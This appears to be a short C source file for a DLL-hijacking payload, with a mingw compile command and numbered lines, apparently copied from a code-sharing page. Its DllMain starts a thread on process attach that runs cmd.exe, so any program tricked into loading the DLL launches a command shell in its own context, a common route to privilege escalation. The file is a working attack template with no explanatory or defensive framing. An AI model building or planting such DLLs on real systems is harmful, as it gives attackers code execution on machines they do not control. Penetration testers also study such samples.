dll_hijack_thread.c


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

/*
   Compile with:

   i686-w64-mingw32-gcc dll_hijack_thread.c -shared -lws2_32 -o hijack.dll
*/

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

void Entry () {
    system("cmd.exe");
    //WinExec("cmd.exe", 0);
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
    switch (dwReason) {
        case DLL_PROCESS_ATTACH:
            CreateThread(0,0,(LPTHREAD_START_ROUTINE)Entry,0,0,0);
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
    }
    return TRUE;
}